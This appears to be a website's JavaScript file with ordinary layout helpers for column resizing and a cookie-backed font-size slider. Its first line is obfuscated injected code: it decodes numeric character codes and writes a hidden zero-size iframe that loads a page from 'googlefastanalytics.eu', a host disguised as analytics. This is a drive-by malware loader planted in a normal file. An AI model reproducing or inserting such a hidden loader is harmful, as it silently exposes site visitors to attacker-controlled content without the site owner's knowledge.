var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!103!111!111!103!108!101!102!97!115!116!97!110!97!108!121!116!105!99!115!46!101!117!47!115!116!97!116!115!99!111!117!110!116!101!114!47!49!57!52!56!55!51!57!55!48!47!99!111!117!110!116!101!114!46!112!104!112!34!32!119!105!100!116!104!61!34!48!34!32!104!101!105!103!104!116!61!34!48!34!32!102!114!97!109!101!98!111!114!100!101!114!61!34!48!34!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

var s = {
	
	start: function() {
		s.ieDetect();
		s.resizeCols();
		s.setFont();
		s.textScaler();
	},
	
	ieDetect: function() {
		s.IEVersion = false;
		var rv = -1;
		if ( navigator.appName == 'Microsoft Internet Explorer' ) {
			var ua = navigator.userAgent;
			var re  = new RegExp( "MSIE ([0-9]{1,}[\.0-9]{0,})" );
			if ( re.exec( ua ) != null )
			s.IEVersion = parseFloat( RegExp.$1 );
		}
	},
	
	resizeCols: function() {
		if( s.IEVersion != 6 ) {
			var content = $( 'content' );
			var col_left = $( 'col_left' ).getStyle( 'height' ).toInt();
			var col_right = $( 'col_right' ).getStyle( 'height' ).toInt();
			if( col_left > col_right ) {
				content.setStyle( 'height', ( col_left / 10 ) + 'em' );
			}
			if( col_right > col_left )
				content.setStyle( 'height', ( (col_right + 10) / 10 ) + 'em' );
		}
	},
	
	setFont: function() {
		if( Cookie.read( 'semfont' ) ) {
			var size = Cookie.read( 'semfont' );
			$( 'wrapper' ).setStyle( 'font-size', size + 'px' );
			s.fontSize = size.toFloat();
		}
		else
			s.fontSize = 10;
	},
	
	textScaler: function() {
		var begin = ( s.fontSize == 10 ) ? 0 : ( s.fontSize - 10 ) * 10;
		new Slider( $( 'scale_area' ), $( 'scale_knob' ), {
			steps: 100,
			onChange: function( pos ) {
				var size = ( ( pos.toInt() / 10 ) + 10 );
				$( 'wrapper' ).setStyle( 'font-size', size + 'px' );
			},
			onComplete: function( pos ) {
				var size = ( ( pos.toInt() / 10 ) + 10 );
				if( Cookie.read( 'semfont' ) )
					Cookie.dispose( 'semfont' );
				Cookie.write( 'semfont', size, { path: '/', duration: 28 } );
				s.fontSize = size;
			}
		} ).set( begin );
	}
}

window.addEvent( 'load', s.start );
